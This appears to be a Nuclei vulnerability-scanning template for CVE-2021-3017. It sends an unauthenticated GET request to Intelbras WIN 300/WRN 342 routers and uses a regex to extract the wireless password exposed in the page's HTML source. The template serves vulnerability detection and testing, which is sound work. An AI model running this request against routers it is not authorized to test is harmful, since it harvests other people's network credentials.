id: CVE-2021-3017 info: name: Intelbras WIN 300/WRN 342 Disclosure author: pikpikcu severity: high description: The web interface on Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code. reference: - https://poc.wgpsec.org/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Intelbras/Intelbras%20Wireless%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8E%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%20CVE-2021-3017.html - https://nvd.nist.gov/vuln/detail/CVE-2021-3017 tags: cve,cve2021,exposure,router classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.50 cve-id: CVE-2021-3017 requests: - method: GET path: - "{{BaseURL}}/index.asp" matchers-condition: and matchers: - type: word words: - 'def_wirelesspassword =' - 'Roteador Wireless' part: body condition: and - type: status status: - 200 extractors: - type: regex part: body regex: - 'def_wirelesspassword = "([A-Za-z0-9=]+)";'